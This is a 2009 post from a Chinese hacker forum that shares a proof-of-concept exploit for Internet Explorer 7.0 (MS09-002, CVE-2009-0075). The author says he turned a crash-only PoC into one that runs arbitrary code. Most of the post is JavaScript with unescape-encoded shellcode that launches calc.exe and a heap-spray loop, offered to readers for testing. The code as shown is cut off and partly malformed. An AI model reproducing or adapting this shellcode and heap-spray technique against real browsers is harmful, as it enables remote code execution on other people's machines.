注册
登录
论坛
搜索
插件
默认风格
默认风格_6hOY
D Dark
greenwall
jeans
fashion
私人消息 (0)
公共消息 (0)
论坛任务 (0)
系统消息 (0)
好友消息 (0)
帖子消息 (0)
【3.A.S.T】网络安全爱好者
»
黑客播报
» 【业界】Internet Explorer 7.0 Exploit(MS09-002,可以执行任意代码)
返回列表
发帖
期待~~
发短消息
加为好友
期待~~
当前离线
UID
9461
帖子
460
精华
0
积分
963
威望
1445
金钱
821
阅读权限
90
在线时间
5 小时
注册时间
2009-8-19
最后登录
2010-1-4
3.A.S.T中校
帖子
460
积分
963
威望
1445
金钱
821
在线时间
5 小时
1
楼
跳转到
»
正序看帖
打印
字体大小:
t
T
发表于 2009-11-5 23:56
|
只看该作者
【业界】Internet Explorer 7.0 Exploit(MS09-002,可以执行任意代码)
Explorer
,
Exploit
,
Internet
,
业界
,
代码
Internet Explorer 7.0 Exploit(MS09-002,可以执行任意代码)
作者:Friddy
Microsoft IE CFunctionPointer函数内存破坏漏洞(MS09-002)
发布时间:2009-02-10
影响版本:
Microsoft Internet Explorer 7.0
漏洞描述:
BUGTRAQ ID: 33627
CVE(CAN) ID: CVE-2009-0075
Comment by Friddy:
这个实际不是个破坏内存的漏洞,可以利用这个漏洞执行任意的代码。
今天我花了十几分钟修改了miliw0rm的只会造成DOS的POC,现在已经可以较为稳定执行任意代码。
测试平台:
Windows XP SP2+Internet Explorer 7.0
下面发出POC给各位安全爱好者测试,测试效果是弹出Windows的计算器(calc.exe)
<!--MS09-002 Internet Exploere 7.0 ExploitModify by Friddy 2009.02.19 mail:qianyang@ssyeah.comblog:
www.friddy.cnTested under Windows XP sp2+IE 7.0shellcode will popup the calc.exe--><script language="JavaScript">var shellcode=unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");var array = new Array();var ls = 0x100000-(shellcode.length*2+0x01020);var b = unescape("%u0D0D%u0D0D");while(b.length<ls) { b+=b;}var lh = b.substring(0,ls/2);delete b;for(i=0; i<0xD0; i++) {array = lh + shellcode;}[url=http://www.3ast.com.cn]
黑客
收藏
分享
返回列表
【 新 手 入 门 】
初入江湖
有问必答
软件交流
程序设计
黑客播报
操作系统
Windows专区
Unix 专区
【 技 术 交 流 】
原创专区
QQ技巧
反黑知识
网站建设
教程发布
技术交流
免杀技术
0day发布
专题归类
私服技术
【 论 坛 水 区 】
被黑站点
激情灌水
极品贴图
开心乐园
影音专区
广告专区
【 论 坛 管 理 】
新人报到
论坛管理
勋章申请
[收藏此主题]
[关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]
全国地图
@@@ 加入本站会员 一个月月赚1200+的秘密@@@